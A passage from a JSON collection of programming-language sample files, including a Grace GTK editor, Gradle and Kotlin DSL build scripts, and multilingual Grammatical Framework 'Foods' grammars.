    "content": "import \"gtk\" as gtk\nimport \"io\" as io\nimport \"mgcollections\" as collections\nimport \"button_factory\" as button_factory\nimport \"dialog_factory\" as dialog_factory\nimport \"syntax_highlighter\" as highlighter\nimport \"auto_completer\" as aComp\n\n//TODO\n\n// Autocomplete typing\n\n// FileChooser\n// Themes\n\n// Details for the Top Level Window\ndef window = gtk.window(gtk.GTK_WINDOW_TOPLEVEL)\nwindow.title := \"Grace\"\nwindow.set_default_size(700, 700)\n// -------------\n\n// Placeholder for the console window that can be popped out\n// of the main window\nvar popped := gtk.window(gtk.GTK_WINDOW_TOPLEVEL)\n\n// Initialise the Boxes\ndef mBox = gtk.box(gtk.GTK_ORIENTATION_VERTICAL, 2)\ndef buttonBox = gtk.box(gtk.GTK_ORIENTATION_HORIZONTAL, 2)\nvar consoleButtons := gtk.box(gtk.GTK_ORIENTATION_HORIZONTAL, 3)\nvar consoleBox := gtk.box(gtk.GTK_ORIENTATION_VERTICAL, 2)\nvar editorBox := gtk.box(gtk.GTK_ORIENTATION_VERTICAL, 2)\nvar splitPane := gtk.paned(gtk.GTK_ORIENTATION_VERTICAL, 2)\ndef menuBox = gtk.box(gtk.GTK_ORIENTATION_HORIZONTAL, 4)\n// -------------\n\n// Initialise the buttons\ndef runButton = button_factory.make(\"run\")\nvar clearButton := button_factory.make(\"clear\")\nvar outButton := button_factory.make(\"out\")\nvar errorButton := button_factory.make(\"error\")\nvar popButton := button_factory.make(\"pop\")\ndef newButton = button_factory.make(\"new\")\ndef openButton = button_factory.make(\"open\")\ndef saveButton = button_factory.make(\"save\")\ndef saveAsButton = button_factory.make(\"saveAs\")\ndef closeButton = button_factory.make(\"close\")\n// -------------\n\n// Details for the default text editor and scrolled window\nvar tEdit := gtk.text_view\ntEdit.set_size_request(700, 400)\n\nvar scrolled_main := gtk.scrolled_window\nscrolled_main.set_size_request(700, 400)\nscrolled_main.add(tEdit)\n// -------------\n\n// Widget that allows multiple files to be edited (tabs)\nvar notebook := gtk.notebook\nnotebook.scrollable := true\n// -------------\n\n// Maps for holding the text_views and scrolled_windows\nvar editor_map := collections.map.new\neditor_map.put(0, tEdit)\nvar scrolled_map := collections.map.new\nscrolled_map.put(0, scrolled_main)\n\n// -------------\n\n// Class that manages the syntax highlighting (This needs to be passed around otherwise\n// the text_tag table gets confused, ie there can only be one)\ndef lighter = highlighter.Syntax_Highlighter.new(notebook, editor_map)\ntEdit.buffer.on \"changed\" do {\n    lighter.highlightLine\n}\n\n// Class that manages any auto completion that is required\ndef completer =  aComp.Auto_Completer.new(window, notebook, editor_map)\n\n// Utility methods\n// -------------\n\nmethod deleteCompileFiles(page_num : Number) {\n    def cur_scrolled = scrolled_map.get(page_num)\n    var filename := notebook.get_tab_label_text(cur_scrolled)\n    filename := filename.substringFrom(0)to(filename.size - 7) //Removes .grace extension\n\n    io.system(\"rm -f files/\" ++ filename)\n    io.system(\"rm -f files/\" ++ filename ++ \".c\")\n    io.system(\"rm -f files/\" ++ filename ++ \".gcn\")\n    io.system(\"rm -f files/\" ++ filename ++ \".gct\")\n}\n\n// -------------\n\n\n\nvar currentConsole := \"output\"      // Which console is being shown\nvar out := false\n\n\nvar outText := \"\"\nvar errorText := \"\"\n\n\n\n// Give actions to the buttons\n// -------------\n\nrunButton.on \"clicked\" do {\n    clearConsoles()\n\n    // Get the details for the current page selected\n    def cur_page_num = notebook.current_page\n    def cur_page = editor_map.get(cur_page_num)\n    def cur_scrolled = scrolled_map.get(cur_page_num)\n    def cur_page_label = notebook.get_tab_label_text(cur_scrolled)\n\n    // Initialise text iterators\n    def sIter = gtk.text_iter\n    def eIter = gtk.text_iter\n\n    // Set one at the beggining and one at the end of the text\n    cur_page.buffer.get_iter_at_offset(sIter, 0)\n    cur_page.buffer.get_iter_at_offset(eIter, -1)\n\n    // Get the text between the text iterators\n    def text = cur_page.buffer.get_text(sIter, eIter, true)\n\n    // Save the text to the file (in case the user hasn't already saved it)\n    def file = io.open(\"files/\" ++ cur_page_label, \"w\")\n    file.write(text)\n    file.close\n\n    // Run the program and pipe the output and errors into files to be read\n    io.system(\"../minigrace/minigrace \" ++ \"files/\" ++ cur_page_label ++ \" > output.txt 2> error.txt\")\n    def outputFile = io.open(\"output.txt\", \"r\")\n    def errorFile = io.open(\"error.txt\", \"r\")\n    outText := outputFile.read\n    errorText := errorFile.read\n\n    io.system(\"rm -f output.txt error.txt\")\n\n    var switched := false\n\n    // Change the console to output if there is output text\n    if((outText.size > 0) && (currentConsole != \"output\")) then {\n        switch_to_output()\n        switched := true\n    }\n    // Change the console to errors if there were errors\n    if((errorText.size > 0) && (currentConsole != \"errors\")) then {\n        switch_to_errors()\n        switched := true\n    }\n\n    // Remember to populate the console if it wasn't switched\n    if(!switched) then {\n        populateConsoles\n    }\n}\n\nclearButton.on \"clicked\" do {\n    clearConsoles()\n}\n\noutButton.on \"clicked\" do {\n    switch_to_output()\n}\n\nerrorButton.on \"clicked\" do {\n    switch_to_errors()\n}\n\npopButton.on \"clicked\" do {\n    if(out) then {\n        popIn()\n    } else {\n        popOut()\n    }\n}\n\n// Gives a dialog to let the user create a new file to edit\nnewButton.on \"clicked\" do {\n    def new_window_class = dialog_factory.new.new(notebook, editor_map, scrolled_map, lighter)\n\n    def new_window = new_window_class.window()\n    new_window.show_all\n}\n\n// Gives a dialog that lets the user open a file to edit\nopenButton.on \"clicked\" do {\n    def open_window_class = dialog_factory.open.new(notebook, editor_map, scrolled_map, lighter)\n\n    def open_window = open_window_class.window()\n    open_window.show_all\n}\n\n// Saves the current file (if the name is Untitled.grace it will ask for a new name)\nsaveButton.on \"clicked\" do {\n    def cur_page_num = notebook.current_page\n    def cur_page = editor_map.get(cur_page_num)\n    def cur_scrolled = scrolled_map.get(cur_page_num)\n    def cur_page_label = notebook.get_tab_label_text(cur_scrolled)\n\n    if(cur_page_label == \"Untitled.grace\") then {\n        def saveAs_window_class = dialog_factory.save.new(notebook, editor_map, scrolled_map, true)\n\n        def saveAs_window = saveAs_window_class.window()\n        saveAs_window.show_all\n    } else {\n        // Initialise text iterators\n        def sIter = gtk.text_iter\n        def eIter = gtk.text_iter\n\n        // Set one at the beggining and one at the end of the text\n        cur_page.buffer.get_iter_at_offset(sIter, 0)\n        cur_page.buffer.get_iter_at_offset(eIter, -1)\n\n        // Get the text between the text iterators\n        def text = cur_page.buffer.get_text(sIter, eIter, true)\n\n        // Save the file\n        def file = io.open(\"files/\" ++ cur_page_label, \"w\")\n        file.write(text)\n        file.close\n    }\n\n}\n\n// Gives a dialog that lets the user save the file with a new name\nsaveAsButton.on \"clicked\" do {\n    def saveAs_window_class = dialog_factory.save.new(notebook, editor_map, scrolled_map, false)\n\n    def saveAs_window = saveAs_window_class.window()\n    saveAs_window.show_all\n}\n\n// This will close a tab on the notebook\n// It also \"removes\" the page from the map,\n// by creating a new temporary map and putting all but\n// the removed page in.\ncloseButton.on \"clicked\" do {\n    def page_num = notebook.current_page\n    def num_pages = notebook.n_pages\n\n    if(num_pages > 1) then {\n        deleteCompileFiles(page_num)\n\n        def e_map = collections.map.new\n        def s_map = collections.map.new\n\n        // Copy every page up to the current page into the new maps\n        var x := 0\n        while {x < page_num} do {\n            var eValue := editor_map.get(x)\n            var sValue := scrolled_map.get(x)\n            e_map.put(x, eValue)\n            s_map.put(x, sValue)\n\n            x := x + 1\n        }\n\n        // Copy every page after the current page into the new map (shifted one down)\n        x := page_num + 1\n        while {x < num_pages} do {\n            var eValue := editor_map.get(x)\n            var sValue := scrolled_map.get(x)\n            e_map.put((x - 1), eValue)\n            s_map.put((x - 1), sValue)\n\n            x := x + 1\n        }\n\n        editor_map := e_map\n        scrolled_map := s_map\n        notebook.remove_page(page_num)\n\n        notebook.show_all\n    }\n\n}\n// -------------\n\n\n\n\n\n\n// Consoles:\n// -------------\n\nvar outConsole := gtk.text_view\nvar outScroll := gtk.scrolled_window\nvar errorConsole := gtk.text_view\nvar errorScroll := gtk.scrolled_window\nvar errorTag := errorConsole.buffer.create_tag(\"fixed\", \"foreground\", \"red\")\n\n\n// Creates a new output console\nmethod createOut {\n    outConsole := gtk.text_view\n    outScroll := gtk.scrolled_window\n    outScroll.add(outConsole)\n    if(out) then {\n        outConsole.set_size_request(400, 400)\n        outScroll.set_size_request(400, 400)\n    } else {\n        outConsole.set_size_request(700, 200)\n        outScroll.set_size_request(700, 200)\n    }\n    outConsole.editable := false\n    outConsole.buffer.set_text(\"[Output]:\", -1)\n}\ncreateOut()\n\n// Creates a new error console\nmethod createError {\n    errorConsole := gtk.text_view\n    errorScroll := gtk.scrolled_window\n    errorScroll.add(errorConsole)\n    if(out) then {\n        errorConsole.set_size_request(400, 400)\n        errorScroll.set_size_request(400, 400)\n    } else {\n        errorConsole.set_size_request(700, 200)\n        errorScroll.set_size_request(700, 200)\n    }\n    errorConsole.editable := false\n    errorConsole.buffer.set_text(\"[Errors]:\", -1)\n    errorTag := errorConsole.buffer.create_tag(\"fixed\", \"foreground\", \"red\")\n}\ncreateError()\n\n// Switches the console being shown to be output. This requires\n// the output console to be remade as it would have been destroyed when\n// it was switched previously\nmethod switch_to_output {\n    if(currentConsole != \"output\") then {\n        currentConsole := \"output\"\n        consoleBox.remove(errorScroll)     // This destroys the errorConsole\n\n        createOut()\n\n        consoleBox.add(outScroll)\n\n        populateConsoles()\n        if(out) then {\n            popped.show_all\n        } else {\n            window.show_all\n        }\n    }\n}\n\n// Switches the console being shown to be errors. This requires\n// the error console to be remade as it would have been destroyed when\n// it was switched previously\nmethod switch_to_errors {\n    if(currentConsole != \"errors\") then {\n        currentConsole := \"errors\"\n        consoleBox.remove(outScroll)       // This destroys the outConsole\n\n        createError()\n\n        consoleBox.add(errorScroll)\n\n        populateConsoles()\n        if(out) then {\n            popped.show_all\n        } else {\n            window.show_all\n        }\n    }\n}\n\n// If there is text to be put into the consoles this will add it\nmethod populateConsoles {\n    if((outText.size > 0) && (currentConsole == \"output\")) then {\n        outConsole.buffer.set_text(outText, -1)\n    }\n    if((errorText.size > 0) && (currentConsole == \"errors\")) then {\n        def sIter = gtk.text_iter\n        def eIter = gtk.text_iter\n\n        errorConsole.buffer.set_text(errorText, -1)\n        errorConsole.buffer.get_iter_at_offset(sIter, 0)\n        errorConsole.buffer.get_iter_at_offset(eIter, -1)\n        errorConsole.buffer.apply_tag(errorTag, sIter, eIter)\n    }\n}\n\nmethod clearConsoles {\n    if(currentConsole == \"output\") then {\n        outConsole.buffer.set_text(\"[Output]:\", -1)\n        outText := \"\"\n    }\n    if(currentConsole == \"errors\") then {\n        errorConsole.buffer.set_text(\"[Errors]:\", -1)\n        errorText := \"\"\n    }\n}\n\n\n// Identical as the popIn method, but can be connected to the window's destroy button\ndef popInBlock = {\n    consoleBox.reparent(splitPane)\n    popButton.label := \"Pop Out\"\n\n    if(currentConsole == \"output\") then {\n        outConsole.set_size_request(700, 200)\n        outScroll.set_size_request(700, 200)\n    }\n    if(currentConsole == \"errors\") then {\n     errorConsole.set_size_request(700, 200)\n     errorScroll.set_size_request(700, 200)\n    }\n\n    def cur_page_num = notebook.current_page\n    def cur_scrolled = scrolled_map.get(cur_page_num)\n    def cur_page = editor_map.get(cur_page_num)\n\n    cur_page.set_size_request(700, 400)\n    cur_scrolled.set_size_request(700, 400)\n\n    out := false\n    popped.visible := false\n}\n\n\n// This pops the console out into a separate window\nmethod popOut {\n    popped := gtk.window(gtk.GTK_WINDOW_TOPLEVEL)\n\n    consoleBox.reparent(popped)\n    popButton.label := \"Pop In\"\n\n    if(currentConsole == \"output\") then {\n        outConsole.set_size_request(400, 400)\n        outScroll.set_size_request(400, 400)\n    }\n    if(currentConsole == \"errors\") then {\n        errorConsole.set_size_request(400, 400)\n        errorScroll.set_size_request(400, 400)\n    }\n\n    def cur_page_num = notebook.current_page\n    def cur_scrolled = scrolled_map.get(cur_page_num)\n    def cur_page = editor_map.get(cur_page_num)\n\n    cur_page.set_size_request(700, 580)\n    cur_scrolled.set_size_request(700, 580)\n\n    out := true\n    popped.visible := true\n    popped.connect(\"destroy\", popInBlock)\n    popped.show_all\n\n}\n\n// Puts the console back into the main window\nmethod popIn {\n    consoleBox.reparent(splitPane)\n    popButton.label := \"Pop Out\"\n\n    if(currentConsole == \"output\") then {\n        outConsole.set_size_request(700, 200)\n        outScroll.set_size_request(700, 200)\n    }\n    if(currentConsole == \"errors\") then {\n        errorConsole.set_size_request(700, 200)\n        errorScroll.set_size_request(700, 200)\n    }\n\n    def cur_page_num = notebook.current_page\n    def cur_scrolled = scrolled_map.get(cur_page_num)\n    def cur_page = editor_map.get(cur_page_num)\n\n    cur_page.set_size_request(700, 400)\n    cur_scrolled.set_size_request(700, 400)\n\n    out := false\n    popped.visible := false\n}\n\nclearConsoles()\n// -------------\n\n\n\n\n\n\n// Patch everything together\n\nvar hSeparator1 := gtk.separator(gtk.GTK_ORIENTATION_HORIZONTAL)\nvar hSeparator2 := gtk.separator(gtk.GTK_ORIENTATION_HORIZONTAL)\n\nmenuBox.add(newButton)\nmenuBox.add(openButton)\nmenuBox.add(saveButton)\nmenuBox.add(saveAsButton)\nbuttonBox.add(runButton)\nbuttonBox.add(closeButton)\n\nconsoleButtons.add(outButton)\nconsoleButtons.add(errorButton)\nconsoleButtons.add(clearButton)\nconsoleButtons.add(popButton)\n\nconsoleBox.add(hSeparator1)\nconsoleBox.add(consoleButtons)\nconsoleBox.add(outScroll)\n\neditorBox.add(hSeparator2)\nnotebook.add(scrolled_main)\nnotebook.set_tab_label_text(scrolled_main, \"Untitled.grace\")\neditorBox.add(notebook)\n\nsplitPane.add1(editorBox)\nsplitPane.add2(consoleBox)\n\nmBox.add(menuBox)\nmBox.add(buttonBox)\nmBox.add(splitPane)\n\nwindow.add(mBox)\n\ndef exit = {\n    var x := 0\n    while {x < notebook.n_pages} do {\n        deleteCompileFiles(x)\n\n        x := x + 1\n    }\n\n    // Delete the compile files of the IDE\n    io.system(\"rm -f Grace_IDE.gct Grace_IDE.c Grace_IDE.gcn\")\n    io.system(\"rm -f scanner.gct scanner.c scanner.gcn\")\n    io.system(\"rm -f syntax_highlighter.gct syntax_highlighter.c syntax_highlighter.gcn\")\n    io.system(\"rm -f syntax_colors.gct syntax_colors.c syntax_colors.gcn\")\n    io.system(\"rm -f button_factory.gct button_factory.c button_factory.gcn\")\n    io.system(\"rm -f dialog_factory.gct dialog_factory.c dialog_factory.gcn\")\n    io.system(\"rm -f auto_completer.gct auto_completer.c auto_completer.gcn\")\n\n    print \"Grace IDE Closed Successfully\"\n    gtk.main_quit\n}\n\nwindow.connect(\"destroy\", exit)\nwindow.show_all\n\ngtk.main"
  },
  {
    "path": "samples/Gradle/build.gradle",
    "content": "apply plugin: GreetingPlugin\n\ngreeting.message = 'Hi from Gradle'\n\nclass GreetingPlugin implements Plugin<Project> {\n    void apply(Project project) {\n        // Add the 'greeting' extension object\n        project.extensions.create(\"greeting\", GreetingPluginExtension)\n        // Add a task that uses the configuration\n        project.task('hello') << {\n            println project.greeting.message\n        }\n    }\n}\n\nclass GreetingPluginExtension {\n    def String message = 'Hello from GreetingPlugin'\n}\n"
  },
  {
    "path": "samples/Gradle/builder.gradle",
    "content": "apply plugin: GreetingPlugin\n\ngreeting {\n    message = 'Hi'\n    greeter = 'Gradle'\n}\n\nclass GreetingPlugin implements Plugin<Project> {\n    void apply(Project project) {\n        project.extensions.create(\"greeting\", GreetingPluginExtension)\n        project.task('hello') << {\n            println \"${project.greeting.message} from ${project.greeting.greeter}\"\n        }\n    }\n}\n\nclass GreetingPluginExtension {\n    String message\n    String greeter\n}\n"
  },
  {
    "path": "samples/Gradle Kotlin DSL/build.gradle.kts",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nplugins {\n  alias(libs.plugins.nexus.publish)\n  alias(libs.plugins.android.library) apply false\n  alias(libs.plugins.android.application) apply false\n  alias(libs.plugins.download) apply false\n  alias(libs.plugins.kotlin.android) apply false\n}\n\nval reactAndroidProperties = java.util.Properties()\n\nFile(\"$rootDir/packages/react-native/ReactAndroid/gradle.properties\").inputStream().use {\n  reactAndroidProperties.load(it)\n}\n\nversion =\n    if (project.hasProperty(\"isNightly\") &&\n        (project.property(\"isNightly\") as? String).toBoolean()) {\n      \"${reactAndroidProperties.getProperty(\"VERSION_NAME\")}-SNAPSHOT\"\n    } else {\n      reactAndroidProperties.getProperty(\"VERSION_NAME\")\n    }\n\ngroup = \"com.facebook.react\"\n\nval ndkPath by extra(System.getenv(\"ANDROID_NDK\"))\nval ndkVersion by extra(System.getenv(\"ANDROID_NDK_VERSION\") ?: \"25.1.8937393\")\nval sonatypeUsername = findProperty(\"SONATYPE_USERNAME\")?.toString()\nval sonatypePassword = findProperty(\"SONATYPE_PASSWORD\")?.toString()\n\nnexusPublishing {\n  repositories {\n    sonatype {\n      username.set(sonatypeUsername)\n      password.set(sonatypePassword)\n    }\n  }\n}\n\ntasks.register(\"clean\", Delete::class.java) {\n  description = \"Remove all the build files and intermediate build outputs\"\n  dependsOn(gradle.includedBuild(\"react-native-gradle-plugin\").task(\":clean\"))\n  subprojects.forEach {\n    if (it.project.plugins.hasPlugin(\"com.android.library\") ||\n        it.project.plugins.hasPlugin(\"com.android.application\")) {\n      dependsOn(it.tasks.named(\"clean\"))\n    }\n  }\n  delete(allprojects.map { it.layout.buildDirectory.asFile })\n  delete(rootProject.file(\"./packages/react-native/ReactAndroid/.cxx\"))\n  delete(rootProject.file(\"./packages/react-native/ReactAndroid/hermes-engine/.cxx\"))\n  delete(rootProject.file(\"./packages/react-native/sdks/download/\"))\n  delete(rootProject.file(\"./packages/react-native/sdks/hermes/\"))\n  delete(\n      rootProject.file(\"./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/arm64-v8a/\"))\n  delete(\n      rootProject.file(\n          \"./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/armeabi-v7a/\"))\n  delete(rootProject.file(\"./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/x86/\"))\n  delete(rootProject.file(\"./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/x86_64/\"))\n  delete(rootProject.file(\"./packages/react-native-codegen/lib\"))\n  delete(rootProject.file(\"./node_modules/@react-native/codegen/lib\"))\n  delete(rootProject.file(\"./packages/rn-tester/android/app/.cxx\"))\n}\n\ntasks.register(\"build\") {\n  description = \"Build and test all the React Native relevant projects.\"\n  dependsOn(gradle.includedBuild(\"react-native-gradle-plugin\").task(\":build\"))\n}\n\ntasks.register(\"downloadAll\") {\n  description = \"Download all the depedencies needed locally so they can be cached on CI.\"\n  dependsOn(gradle.includedBuild(\"react-native-gradle-plugin\").task(\":dependencies\"))\n  dependsOn(\":packages:react-native:ReactAndroid:downloadNdkBuildDependencies\")\n  dependsOn(\":packages:react-native:ReactAndroid:dependencies\")\n  dependsOn(\":packages:react-native:ReactAndroid:androidDependencies\")\n  dependsOn(\":packages:react-native:ReactAndroid:hermes-engine:dependencies\")\n  dependsOn(\":packages:react-native:ReactAndroid:hermes-engine:androidDependencies\")\n  dependsOn(\":packages:rn-tester:android:app:dependencies\")\n  dependsOn(\":packages:rn-tester:android:app:androidDependencies\")\n}\n\ntasks.register(\"publishAllInsideNpmPackage\") {\n  description =\n      \"Publish all the artifacts to be available inside the NPM package in the `android` folder.\"\n  // Due to size constraints of NPM, we publish only react-native and hermes-engine inside\n  // the NPM package.\n  dependsOn(\":packages:react-native:ReactAndroid:installArchives\")\n  dependsOn(\":packages:react-native:ReactAndroid:hermes-engine:installArchives\")\n}\n\ntasks.register(\"publishAllToMavenTempLocal\") {\n  description = \"Publish all the artifacts to be available inside a Maven Local repository on /tmp.\"\n  dependsOn(\":packages:react-native:ReactAndroid:publishAllPublicationsToMavenTempLocalRepository\")\n  // We don't publish the external-artifacts to Maven Local as CircleCI is using it via workspace.\n  dependsOn(\n      \":packages:react-native:ReactAndroid:flipper-integration:publishAllPublicationsToMavenTempLocalRepository\")\n  dependsOn(\n      \":packages:react-native:ReactAndroid:hermes-engine:publishAllPublicationsToMavenTempLocalRepository\")\n}\n\ntasks.register(\"publishAllToSonatype\") {\n  description = \"Publish all the artifacts to Sonatype (Maven Central or Snapshot repository)\"\n  dependsOn(\":packages:react-native:ReactAndroid:publishToSonatype\")\n  dependsOn(\":packages:react-native:ReactAndroid:external-artifacts:publishToSonatype\")\n  dependsOn(\":packages:react-native:ReactAndroid:flipper-integration:publishToSonatype\")\n  dependsOn(\":packages:react-native:ReactAndroid:hermes-engine:publishToSonatype\")\n}\n\nif (project.findProperty(\"react.internal.useHermesNightly\")?.toString()?.toBoolean() == true) {\n  logger.warn(\n      \"\"\"\n      ********************************************************************************\n      INFO: You're using Hermes from nightly as you set\n\n      react.internal.useHermesNightly=true\n\n      in the ./gradle.properties file.\n\n      That's fine for local development, but you should not commit this change.\n      ********************************************************************************\n  \"\"\"\n          .trimIndent())\n  allprojects {\n    configurations.all {\n      resolutionStrategy.dependencySubstitution {\n        substitute(project(\":packages:react-native:ReactAndroid:hermes-engine\"))\n            .using(module(\"com.facebook.react:hermes-android:0.0.0-+\"))\n            .because(\"Users opted to use hermes from nightly\")\n      }\n    }\n  }\n}"
  },
  {
    "path": "samples/Grammatical Framework/Foods.gf",
    "content": "-- (c) 2009 Aarne Ranta under LGPL\n\nabstract Foods = {\n  flags startcat = Comment ;\n  cat\n    Comment ; Item ; Kind ; Quality ;\n  fun\n    Pred : Item -> Quality -> Comment ;\n    This, That, These, Those : Kind -> Item ;\n    Mod : Quality -> Kind -> Kind ;\n    Wine, Cheese, Fish, Pizza : Kind ;\n    Very : Quality -> Quality ;\n    Fresh, Warm, Italian, \n      Expensive, Delicious, Boring : Quality ;\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsAfr.gf",
    "content": "-- (c) 2009 Laurette Pretorius Sr & Jr and Ansu Berg under LGPL\n\nconcrete FoodsAfr of Foods = open Prelude, Predef in{\n\n\tflags coding=utf8;\n\n\tlincat\n\t\tComment = {s: Str} ;\n\t\tKind = {s: Number => Str} ;\n\t\tItem = {s: Str ; n: Number} ;\n\t\tQuality = {s: AdjAP => Str} ;\n\n\tlin\n\t\tPred item quality = {s = item.s ++ \"is\" ++ (quality.s ! Predic)};\n\t\tThis kind = {s = \"hierdie\" ++ (kind.s ! Sg); n = Sg};\n\t\tThat kind = {s = \"daardie\" ++ (kind.s ! Sg); n = Sg};\n\t\tThese kind = {s = \"hierdie\" ++ (kind.s ! Pl); n = Pl};\n\t\tThose kind = {s = \"daardie\" ++ (kind.s ! Pl); n = Pl};\n\t\tMod quality kind = {s = table{n => (quality.s ! Attr) ++ (kind.s!n)}};\n\n\t\tWine = declNoun_e \"wyn\";\n\t\tCheese = declNoun_aa \"kaas\";\n\t\tFish = declNoun_ss \"vis\";\n\t\tPizza = declNoun_s \"pizza\";\n\n\t\tVery quality = veryAdj quality;\n\n\t\tFresh = regAdj \"vars\";\n\t\tWarm = regAdj \"warm\";\n\t\tItalian = smartAdj_e \"Italiaans\";\n\t\tExpensive = regAdj \"duur\";\n\t\tDelicious = smartAdj_e \"heerlik\";\n\t\tBoring = smartAdj_e \"vervelig\";\n\n\tparam\n\t\tAdjAP = Attr | Predic ;\n\t\tNumber = Sg | Pl ;\n\n\toper\n\t\t--Noun operations (wyn, kaas, vis, pizza)\n\n\t\tdeclNoun_aa: Str -> {s: Number => Str} = \\x ->\n\t\tlet v = tk 2 x\n\t\tin\n\t\t{s = table{Sg => x ; Pl => v + (last x) +\"e\"}};\n\n\t\tdeclNoun_e: Str -> {s: Number => Str} = \\x -> {s = table{Sg => x ; Pl => x + \"e\"}} ;\n\t\tdeclNoun_s: Str -> {s: Number => Str} = \\x -> {s = table{Sg => x ; Pl => x + \"s\"}} ;\n\n\t\tdeclNoun_ss: Str -> {s: Number => Str} = \\x -> {s = table{Sg => x ; Pl => x + (last x) + \"e\"}} ;\n\n\n\t\t--Adjective operations\n\n\t\tmkAdj : Str -> Str -> {s: AdjAP => Str} = \\x,y -> {s = table{Attr => x; Predic => y}};\n\n\t\tdeclAdj_e : Str -> {s : AdjAP=> Str} = \\x -> mkAdj (x + \"e\") x;\n\t\tdeclAdj_g : Str -> {s : AdjAP=> Str} = \\w ->\n\t\t\tlet v = init w\n\t\t\tin mkAdj (v + \"ë\") w ;\n\n\t\tdeclAdj_oog : Str -> {s : AdjAP=> Str} = \\w ->\n\t\t\tlet v = init w\n\t\t\tin\n\t\t\t\tlet i = init v\n\t\t\t\tin mkAdj (i + \"ë\") w ;\n\n\t\tregAdj : Str -> {s : AdjAP=> Str} = \\x -> mkAdj x x;\n\n\t\tveryAdj : {s: AdjAP => Str} -> {s : AdjAP=> Str} =  \\x -> {s = table{a => \"baie\" ++ (x.s!a)}};\n\n\n\t\tsmartAdj_e : Str -> {s : AdjAP=> Str} = \\a -> case a of\n\t\t{\n\t\t\t_ + \"oog\" \t\t\t   \t\t=> declAdj_oog a ;\n\t\t\t_ + (\"e\" | \"ie\" | \"o\" | \"oe\") + \"g\" \t=> declAdj_g a ;\n\t\t\t_\t\t\t\t\t   \t=> declAdj_e a\n\t\t};\n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsAmh.gf",
    "content": "concrete FoodsAmh of Foods ={\n flags coding = utf8;\n lincat\n  Comment,Item,Kind,Quality = Str;\n lin\n  Pred item quality = item ++ quality++ \"ነው::\" ;\n  This kind = \"ይህ\" ++ kind;\n  That kind = \"ያ\" ++ kind;\n  Mod quality kind = quality ++ kind;\n  Wine = \"ወይን\";\n  Cheese = \"አይብ\";\n  Fish = \"ዓሳ\";\n  Very quality = \"በጣም\" ++ quality;\n  Fresh = \"አዲስ\";\n  Warm = \"ትኩስ\";\n  Italian = \"የጥልያን\";\n  Expensive = \"ውድ\";\n  Delicious = \"ጣፋጭ\";\n  Boring = \"አስቀያሚ\";\n  \n}   "
  },
  {
    "path": "samples/Grammatical Framework/FoodsBul.gf",
    "content": "-- (c) 2009 Krasimir Angelov under LGPL\n\nconcrete FoodsBul of Foods = {\n  \n  flags\n    coding = utf8;\n\n  param\n    Gender = Masc | Fem | Neutr;\n    Number = Sg | Pl;\n    Agr    = ASg Gender | APl ;\n\n  lincat\n    Comment = Str ;\n    Quality = {s : Agr => Str} ;\n    Item = {s : Str; a : Agr} ;\n    Kind = {s : Number => Str; g : Gender} ;\n\n  lin\n    Pred item qual = item.s ++ case item.a of {ASg _ => \"е\"; APl => \"са\"} ++ qual.s ! item.a ;\n    \n    This  kind = {s=case kind.g of {Masc=>\"този\"; Fem=>\"тази\";  Neutr=>\"това\" } ++ kind.s ! Sg; a=ASg kind.g} ;\n    That  kind = {s=case kind.g of {Masc=>\"онзи\"; Fem=>\"онази\"; Neutr=>\"онова\"} ++ kind.s ! Sg; a=ASg kind.g} ;\n    These kind = {s=\"тези\"  ++ kind.s ! Pl; a=APl} ;\n    Those kind = {s=\"онези\" ++ kind.s ! Pl; a=APl} ;\n    \n    Mod qual kind = {s=\\\\n => qual.s ! (case n of {Sg => ASg kind.g; Pl => APl}) ++ kind.s ! n; g=kind.g} ;\n\n    Wine   = {s = table {Sg => \"вино\";   Pl => \"вина\"};   g = Neutr};\n    Cheese = {s = table {Sg => \"сирене\"; Pl => \"сирена\"}; g = Neutr};\n    Fish   = {s = table {Sg => \"риба\";   Pl => \"риби\"};   g = Fem};\n    Pizza  = {s = table {Sg => \"пица\";   Pl => \"пици\"};   g = Fem};\n\n    Very qual = {s = \\\\g => \"много\" ++ qual.s ! g};\n\n    Fresh     = {s = table {ASg Masc => \"свеж\";        ASg Fem => \"свежа\";       ASg Neutr => \"свежо\";       APl => \"свежи\"}};\n    Warm      = {s = table {ASg Masc => \"горещ\";       ASg Fem => \"гореща\";      ASg Neutr => \"горещо\";      APl => \"горещи\"}};\n    Italian   = {s = table {ASg Masc => \"италиански\";  ASg Fem => \"италианска\";  ASg Neutr => \"италианско\";  APl => \"италиански\"}}; \n    Expensive = {s = table {ASg Masc => \"скъп\";        ASg Fem => \"скъпа\";       ASg Neutr => \"скъпо\";       APl => \"скъпи\"}};\n    Delicious = {s = table {ASg Masc => \"превъзходен\"; ASg Fem => \"превъзходна\"; ASg Neutr => \"превъзходно\"; APl => \"превъзходни\"}};\n    Boring    = {s = table {ASg Masc => \"еднообразен\"; ASg Fem => \"еднообразна\"; ASg Neutr => \"еднообразно\"; APl => \"еднообразни\"}};\n    \n}\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsCat.gf",
    "content": "--# -path=.:present\n\n-- (c) 2009 Jordi Saludes under LGPL\n\nconcrete FoodsCat of Foods = FoodsI with \n  (Syntax = SyntaxCat),\n  (LexFoods = LexFoodsCat) ;\n"
  },
  {
    "path": "samples/Grammatical Framework/FoodsChi.gf",
